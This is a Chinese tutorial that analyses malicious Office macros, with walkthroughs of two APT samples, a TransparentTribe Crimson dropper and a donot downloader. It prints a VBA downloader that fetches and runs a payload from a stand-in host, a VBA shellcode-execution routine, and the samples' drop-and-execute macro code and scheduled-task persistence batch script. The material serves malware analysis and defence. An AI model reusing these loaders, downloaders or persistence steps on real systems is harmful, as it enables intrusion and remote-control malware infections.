0x00 前言
在之前的文章中,講述了幾個常見的惡意樣本的一些常規分析手法。主要使用的工具有exeinfo(查殼)、IDA(靜態分析)、od&xdbg32(動態調試)、Systrace&火絨劍(行為分析)等。從本小節開始,文章將講述不同種類的非PE樣本和一些更復雜的PE樣本如何調試和分析。關于非PE樣本的概述,在之前的文章中已經進行了概要的介紹,目前來講,非PE樣本在攻擊鏈中往往屬于重要的部分。在本節中,筆者將詳細介紹關于office在類的非PE樣本的分析方法。
0x01 Office宏簡介
該部分的主要內容來源于19年年底我看到的一個英文論文,原文鏈接暫時找不到了,后續如果找到了我會貼在評論中。
基于宏的攻擊活動
目前利用office宏進行攻擊應該是一個比較主流的攻擊方式了,但是通常情況下,宏代碼并不能很好地實現所有的功能,更多的時候,宏代碼都是作為一個加在器或者下載器載攻擊中發揮作用的。有時候,宏代碼會直接訪問攻擊者的C2,下載惡意文件到本地運行。有時候,宏代碼會解密釋放出一個powershell代碼,再調用powershell腳本,通過powershell腳本去實現環境檢測、文件下載等功能。宏代碼基于的是VB的語法,如果沒有混淆的宏代碼閱讀起來倒是比較方便,但是現在的大多數宏樣本都會有混淆和一些反調試手法,所以在遇到各類宏代碼的時候也要根據情況去分析。
一些鐘愛office宏攻擊的家族
Emotet
Emotet是一個專注于銀行攻擊的木馬家族,該家族從2014年活躍至今,別是在2019年,每天Emotet都會在全球發送超過十萬封釣魚郵件進行攻擊。關于Emotet,是目前比較活躍的銀行木馬,該組織的攻擊樣本也比較有特色,之后有機會寫一篇文章對該家族的樣本進行一個完整的分析。
FTCODE
一款由宏作為載體,釋放powershell實現的勒索軟件,活躍至2019年。
Sandworm: BlackEnergy / Olympic Destroyer
sandworm每次攻擊的起始都是宏2015年和2016年兩次襲擊烏克蘭發電廠,導致停電。2018年攻擊平昌冬奧會。
Other
除此之外,還有像Dridex、Rovnix、Vawtrak、FIN4、Locky、APT32、TA505、Hancitor、Trickbot、FIN7、Buran、 Ursni、Gozi,、Dreambot、 TA2101/Maze ransomware、 等家族,都會在攻擊過程中使用到帶有惡意宏代碼的office文檔。
惡意宏如何運行
先來看一個典型的宏利用文檔打開的提示:

由于宏的危險性,office通常情況下默認是禁用宏執行的,所以當帶有宏的文件打開,就會詢問用戶是否開啟宏,為了讓用戶在不知情的情況下啟用宏,攻擊者也是想了很多方式,我大概遇見過這么幾種:1.在文檔中間顯示一個模糊的圖片,提示用戶啟用宏才能查看清晰圖片。2.在文檔中偽造按全的機構,比如偽造微軟,或者偽造一個殺軟的圖標,讓用戶相信這個文檔是安全的。3.與用戶交互,把宏代碼的執行設置在用戶單擊了某個圖片或者按鈕則提示用戶啟用宏。
惡意宏代碼通常被用來做什么
一般來講,惡意宏代碼可以實現以下操作:Run Automatically 自動運行Download Files 下載文件CreateFiles 創建文件Execute a file 執行、啟動文件Run a system command 執行系統命令call any dll 調用任意dllInject Shellcode 注入shellcodeCall any ActiveXObkject 調用任意的ActiveXObjectSimulate Keystrokes 模擬用戶點擊…
需要注意的是,一個惡意程序可能完全由宏實現,但是更多的情況下,宏用于加載或者下載其他惡意程序。所以對于一個未知的office文檔來講,啟用office的宏和打開未知的exe文件一樣危險:

一個簡單的VBA Downloader(下載者),有時候也稱為Dropper(加載器)示例:
private Declare Function URLDownloadToFileA Lib "urlmon"
(ByVak A AS Long,ByVal B As String ,
ByVal C As String ,ByVal D As Long ,
ByVal E As Long ) As Long
Sub Auto_Open()
Dim result As Long
fname = Environ("TEMP") & "agent.exe"
result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0)
Shell fname
End Sub
這里使用的URLDownloadToFileA來自于系統dll urlmon.dll在第六行定義了名為Auto_Open的函數,該函數在文檔打開的時候會自動運行(如果允許文檔執行宏)第八行滴位置,指明了下載文件的存放路徑和名稱第9行的地方調用了URLDownloadToFileA函數,下載文件保存到本地第10行的位置執行下載的payload
簡單的混淆、反調試技術
1.利用ActiveX觸發器一個典型的例子:利用InkPicture1_Painted2.隱藏數據3.用于隱藏數據的word文檔變量,文檔變量可以存儲多達64KB的數據,隱藏在MS Word用戶界面中。4.通過CallByName混淆函數調用https://msdn.microsoft.com/en-us/library/office/gg278760.aspx5.使用WMI運行命令6.調用powershell7.運行VBScript或者Jscript,運行VBS/JS代碼而不將文件寫入磁盤可參考文檔:https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-6.0/aa227637(v=vs.60)?redirectedfrom=MSDN代碼示例:https://www.experts-exchange.com/questions/28190006/VBA-ScriptControl-to-run-JAVA-Script-Function.html8.通過API回調運行shellcode
一例通過VBA運行shellcode的實例:
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then
pos = i + 1
Else
pos = i * 2 + 1
End If
Value = Mid(shellCode, pos, 2)
byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub
源代碼來自:http://ropgadget.com/posts/abusing_win_functions.html代碼的前四行用于引用系統庫,調用系統API16行處是shellcode的十六進制編碼,在這個例子中功能是打開計算器。29行處是將shellcode的十六進制編碼轉換為二進制數據流36行處將shellcode copy到了buffer處38處執行了shellcode
關于office的加密
在97到2003版本的時候,文件加密的概念還不流行,那個時候的宏代碼幾乎從來沒有加密過,2007版本之后,才開始通過加密的方式將VBA代碼保護起來分享兩個解密的工具:https://github.com/nolze/msoffcrypto-toolhttps://github.com/herumi/msoffice
宏代碼的分析工具
1.1. 首先可以使用VBA編輯器(比如在office文檔里面按alt + F11),通過VBA編輯器可以很方便的調試和跟蹤這里不得不提一下從VBA編輯器隱藏VBA代碼的技巧:https://github.com/outflanknl/EvilClippy
2.olevba:https://github.com/decalage2/oletools/wiki/olevba該工具可以有效的提取office文檔中的宏代碼,需要Python環境支持。

上面這張圖列舉了olevba所支持的類型,和一些值得關注的地方,比如自動觸發代碼、一些危險的關鍵詞(Downloads、File writes、Shell execution DLL calls等)、還有一些IOCs
當然很多時候靜態分析不能解決問題,還是需要動態分析才能更好地了解惡意代碼的功能。這里分享一個軟件ViperMonkey:https://github.com/decalage2/ViperMonkey
運行結構如下:

mraptor
mraptor是github上一個開源的宏代碼檢測項目https://github.com/decalage2/oletools/wiki/mraptor
大概介紹一下原理:mraptor有三個檢測標準,分別是:A 自動執行(觸發器)W 寫入文件系統或內存X 在VBA上下文外執行文件或任何payload當某個office宏滿足了A條件,那么W和X只要滿足任意一條,則會被mraptor標注為惡意。該項目依賴python環境,用法如下:
Usage: mraptor [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
-m, --matches Show matched strings.
An exit code is returned based on the analysis result:
- 0: No macro
- 1: Not MS Office
- 2: Macro OK
- 10: ERROR
- 20: SUSPICIOUS
如果要掃描單個文件,可以使用如下命令mraptro file.doc
0x02 TransparentTribe的Dropper樣本
樣本md5:bce8a8ea8d47951abffeec38fbeeeef1樣本App.any.run沙箱鏈接:https://app.any.run/tasks/d6d22f4e-0376-49f5-8480-d07489a4e03b/

且從any的沙箱中,我們可以看到,該樣本原始類型是xls。
我們將樣本下載到本地,然后添加xls后綴打開(本地測試環境為office2013)。

該樣本打開之后,沒有任何的信息,office官方彈框提示用戶選擇啟用/禁用宏。這里如果選擇禁用的話,那么后續文檔將顯示為空:

這是攻擊者一種迷惑用戶的手法,誘導用戶第二次重新打開并啟用宏:

翻譯后內容大概如下:

翻譯文檔內容的意義在于,通常來說,為了隱藏攻擊痕跡,攻擊者都會使用一個看起來正常的文檔以迷惑用戶。讓用戶以為打開的就是正常的文檔,當用戶認定這是一個正常文檔,文檔中的內容有”價值”時,往往就不會起疑心,木馬就能夠長時間的運行在用戶的計算機上。所以我們通過文檔的內容,通常情況下就可以推測出受攻擊的目標。可以在攻擊的背景分析中提供一些有用的信息。
我們從該樣本的文檔內容中大概可以得知此次攻擊的目標是國防部,文檔中提到了一個[email protected]的郵箱,我們通過對后面域名的查詢,基本可以確定該文檔是針對印度國防部的攻擊文檔:

由這個信息,我們也可以大概的對攻擊者進行一個猜測。由攻擊目標為印度,根據已有的信息,我們可以找到一些針對印度的攻擊組織,如Confucius 、APT36(C-Major、Transparent Tribe)、GravityRAT等。
接下來我們看看具體的惡意宏代碼。
在打開的xls文檔中,安ALT + F11,即可打開宏窗口,紅框中的內容即為該文檔的宏對象。

依次展開選項卡,可以看到有兩個對象有數據,一個是名為UserForm1的窗體,一個是名為Module1的模塊

我們直接將鼠標光標定位到右邊的Module1模塊中,然后按下鍵盤的F8,開始調試。在通過office調試宏代碼時,調試的快捷鍵和od、x64dbg這種調試器有部分區別,具體如下:

這里F8類似于od中的F7,會逐語句執行代碼,當遇到函數調用時,F8會跟進到函數內部。
逐過程Shift + F8相當于od中的F8,遇到函數調用時,將會直接執行完函數而不進入函數。
運行到光標處 Ctrl + F8 相當于od中的F4
此外,在宏調試器中,設置斷點是F9,運行程序是F5。所以我們之后在調試宏代碼時,我們也可以直接在某行代碼設置斷點,然后F5運行到斷點處。
我們這里直接F8就是在當前的模塊窗口中,開始調試宏代碼,調試的方式是單步運行。
通常來說,F8運行之后,程序就會停在該模塊的入口點。標黃顯示,并且在最下面的本地窗口中會顯示一些將要使用到的變量。

有時候不小心關閉了本地窗口,我們需要在視圖窗口中重新打開。

接下來我們來看看代碼,既然是調試VBA的代碼,我們需要先對VBA的語法有個認識。比如應該知道Dim用于定義變量。在代碼最開始,程序定義了多個變量
Dim path_Aldi_file As String
Dim file_Aldi_name As String
Dim zip_Aldi_file As Variant
Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String
然后通過file_Aldi_name = “rlbwrarhsa”對file_Aldi_name進行了賦值。
通過fldr_Aldi_name = Environ$(“ALLUSERSPROFILE”) & “Tdlawis”對fldr_Aldi_name進行賦值。其中,Environ$(“ALLUSERSPROFILE”) 表示獲取%ALLUSERSPROFILE%環境變量,&符號表示拼接。所以該語句運行完之后,fldr_Aldi_name = %ALLUSERSPROFILE%Tdlawis當然,我們也可以直接按F8單步往下走,在調試器中查看對應的值,這是最快的方法。

接下來,程序通過VBA的Dir方法判斷上面的fldr_Aldi_name路徑是否存在,如果不存在則通過MkDir創建該路徑。
If Dir(fldr_Aldi_name, vbDirectory) = "" Then
MkDir (fldr_Aldi_name)
End If
Tdlawis路徑創建成功之后,程序將對fldrz_Aldi_name 重新賦值,并且通過同樣的手法嘗試創建%ALLUSERSPROFILE%Dlphaws路徑。
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"
If Dir(fldrz_Aldi_name, vbDirectory) = "" Then
MkDir (fldrz_Aldi_name)
End If
接下來程序通過zip_Aldi_file = fldrz_Aldi_name & “omthrpa.zip”聲明一個zip路徑,路徑應該為%ALLUSERSPROFILE%Dlphawsomthrpa.zip
通過path_Aldi_file = fldr_Aldi_name & file_Aldi_name & “.exe”聲明一個path路徑,路徑應該為:%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe

接下來,程序通過Application.OperatingSystem獲取當前操作系統的版本并根據不同的情況進行不同的處理,如果當前系統版本為6.02或6.03,程序將獲取UserForm1.TextBox2.Text的信息賦值給ar1Aldi。否則獲取UserForm1.TextBox1.Text的內容賦值給ar1Aldi。
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then
ar1Aldi = Split(UserForm1.TextBox2.Text, ":")
Else
ar1Aldi = Split(UserForm1.TextBox1.Text, ":")
End If
關于獲取操作系統版本信息的文檔,可在這里找到。
操作系統判斷完成之后,程序就會將我們之前看到的窗體中的數據賦值給ar1Aldi變量:

然后通過一個for each循環對剛才賦值的ar1Aldi進行解密:
For Each vl In ar1Aldi
ReDim Preserve btsAldi(linAldi)
btsAldi(linAldi) = CByte(vl)
linAldi = linAldi + 1
Next
然后我們可以直接光標定位到循環后面的代碼,按Ctrl + F8 跑完循環

這里我們可以看到,程序會通過二進制流的方式打開zip_Aldi_file,也就是先前定義的zip文件,然后將剛才的btsAldi進行寫入。
Open zip_Aldi_file For Binary Access Write As #2
Put #2, , btsAldi
Close #2

寫入成功之后,程序會嘗試將該zip包進行解壓。
If Len(Dir(path_Aldi_file)) = 0 Then
Call unAldizip(zip_Aldi_file, fldr_Aldi_name)
End If
解壓的文件是zip_Aldi_file,解壓的路徑是fldr_Aldi_name解壓成功后將會在fldr_Aldi_name目錄下出現目標文件:

最后程序通過Shell path_Aldi_file, vbNormalNoFocus啟動該exe,程序即從xls文件成功轉入到了exe文件運行。由于該exe由C#編寫,是一個Crimson遠控,關于該類木馬的分析,將在后續的文章中進行介紹。
從這個樣本中,我們初步了解了office宏代碼的攻擊方式。1.誘導用戶啟用宏,誘導方式,如果不啟用宏,xls文檔打開之后將不現實任何內容2.將預定義的zip數據流簡單轉換之后寫入到窗體中3.根據操作系統版本的不同,取窗體中不同的值4.將取出來的數據進行簡單變換之后還原為zip文件5.解壓zip文件得到一個Crimson遠控6.運行該遠控
0x03 donot惡意文檔分析
樣本md5:4428912f168f3f1f0554126de7b4ecedany沙箱連接為:https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/
同樣的,通過any沙箱,我們可以得知該樣本還是一個xls文檔,我們將樣本下載到本地并添加xls后綴打開。同樣的彈出了禁用宏的提示框:

啟用宏之后,程序看起來是報錯了

之前的經驗告訴我們,這樣的彈框信不得,我們單擊確定之后,還是通過ALT + F11打開宏調試窗口,單擊左邊的對象時,發現該文檔有密碼保護:

通過之前介紹的工具,將密碼去除之后重新打開,得到對象列表如下:

我們通過觀察,可以得知關鍵的代碼在名為ThisWorkbook的對象中:

同樣的,我們對該段代碼進行調試分析。代碼開頭還是通過Dim定義了幾個變量,然后通過Environ獲取了環境變量APPDAT和TEMP的路徑分別賦值給Digital和requestDigital = Environ$(“APPDATA”)request = Environ$(“TEMP”)
接著通過Application.Wait Now + TimeValue(“0:00:03”)休眠3秒
休眠之后通過a = MsgBox(“Microsoft Excel has stopped working”, vbCritical, “Warning”)進行彈框,彈框內容就是我們先前看到的提示框,這就是第二種迷惑用戶的手法。在上一個樣本中,惡意宏代碼運行之后,程序會顯示一個看起來正常的xls文檔以消除用戶的疑心。在本樣本中,惡意代碼運行之后,程序是通過彈框提示用戶文檔打開錯誤以消除用戶的疑心。兩種方法的目標都在于,讓用戶誤以為,打開的文檔是沒有問題的。
彈框之后,程序會通過sunjava = “Scr” + “ipting.File” + “System” + “Object”Set digit = CreateObject(sunjava)創建一個Scripting.FileSystemObject對象
接著程序將通過
Sheet12.OLEObjects("Object 1").Copy
Sheet8.OLEObjects("Object 1").Copy
digit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbook
digit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook
分別將sheet中的數據拷貝到Digital,也就是%appdata%中并且命名為s和s.bat

然后通過https = Digital & “” & “s.bat”Call Shell(https, vbHide)拼接s.bat的路徑并且再次通過Shell指令運行。
至此宏代碼運行完成。
我們可以看到,在該樣本中,宏代碼很短,宏代碼的功能為1.彈框迷惑用戶2.釋放一個S文件,經查看為一個PE文件3.釋放一個s.bat批處理文件4.調用執行s.bat文件
到這里我們也可以猜測出,s.bat文件將用于調用執行s文件。
我們查看一下s.bat的內容:
echo off
md %USERPROFILE%InetLogsCust
md %USERPROFILE%InetLogsPool
md %USERPROFILE%CommonBuildOffice
md %USERPROFILE%FilesSharedWeb
md %USERPROFILE%ViewerInformationPolicy
attrib +a +h +s %USERPROFILE%Inet
attrib +a +h +s %USERPROFILE%Common
attrib +a +h +s %USERPROFILE%Files
attrib +a +h +s %USERPROFILE%Viewer
del /f %USERPROFILE%InetLogsPoolagnia
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 2
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagnia
schtasks /delete /tn Feed /f
schtasks /delete /tn Sys_Core /f
schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exe
schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"
move %AppData%s %USERPROFILE%ViewerInformationPolicy
ren %USERPROFILE%ViewerInformationPolicys sqmap.dll
del %0
bat文件的語法還是比較簡單明了的,通過bat的內容,我們可以得知程序獲取了計算機的COMPUTERNAME和一個隨機值寫入到了%USERPROFILE%InetLogsPoolagnia,然后程序設置了兩個計劃任務,并且將%appdata%下的s文件移動到了%USERPROFILE%ViewerInformationPolicys并重命名為sqmap.dll
計劃任務1:

計劃任務2:

我們查看計劃任務1所指定的目錄文件可以發現暫時是0kb

查看計劃任務2所指定的任務,可以看到文件已經成功移動過來:

通過hash查詢可以確定s和sqmap.dll是同一個文件:

且我們通過計劃任務2可以得知,這里是通過rundll32.exe 調用了這個名為sqlmap.dll的calldll方法。目前vt(2020-06-24)上關于sqlmap.dll檢出量為0:

我們可以對sqlmap.dll進行一個簡單的分析。首先通過IDA加載sqlmap.dll,我們可以得到PDB信息:C:UsersspartanDocumentsVisual Studio 2010new projectsfrontendReleasetest.pdb
該pdb以前未出現過,而且結合test.pdb的字眼,該樣本可能是攻擊者開發的測試版本。

calldll在導出表中

calldll函數體很簡單,就執行來一個call sub_10001280 我們跟進到該函數。
sub_10001280 首先是通過strcpy復制了一個看起來像是加密字符串的東西到變量bbLorkybbYngxkjbb]khbbmgvjgz4k~k

該字符串暫時在google上沒有檢出:

回到代碼中,接下來程序會對上面的字符串進行解密:

調試器中直接在calldll函數這里設置eip然后運行:

F7跟進進來

成功解密之后發現就是先前看到的路徑

回到IDA中進行標注后繼續往下看,成功解密之后,嘗試打開文件對象,打開失敗,則push16A26h然后執行slepp,sleep之后調用sub_10001000,這里的sleep應該是用于反沙箱的

sub_10001000的內容非常明顯,是解密URL并請求,所以很明顯,sqlmap.dll是一個Download,比較直觀的C位代碼顯示:

根據之前看到的信息,可以猜測這里是解密了域名之后,下載文件保存到之前看到大小為0kb的路徑下,然后通過計劃任務持久化執行。解密得到DNSresolve.live

該地址已經跟donot關聯了起來

解析參數是

但是目前這個地址404了,不知道是不是我請求姿勢的問題

于是查詢了一下h6s87ehsci75sgats關鍵字:

發現沙箱和vt也是404 ,這里后續就斷了

加上header也是404

那么此次攻擊分析到這就沒有后續了,不知道是不是因為樣本曝光,攻擊者撤銷了后續下載樣本的原因。還是攻擊者已經通過bat文件實現了本地持久化,所以故意暫時沒有開放目標地址,防止分析人員,等熱度過去了之后,再放開這個地址。如果是后面這種情況,可以考慮寫腳本監視這個地址,看看過段時間是否有返回。

專欄
內網滲透基礎課程
作者:安界
99幣
1人已購
查看
0x04 總結
在本小節中,我們對office惡意宏代碼有了概要的了解并且通過兩個簡單的apt樣本進行了分析,我們可以看到,宏代碼在實際攻擊中使用是非常廣泛的,因為宏代碼嵌入在文檔中,是最容易和用戶進行交互的部分,也往往是攻擊者攻擊中的第一部分。在本小節中我們分析了兩個xls文檔的宏代碼,在下一小節我們將對帶有混淆和反調試的宏代碼進行調試和分析。
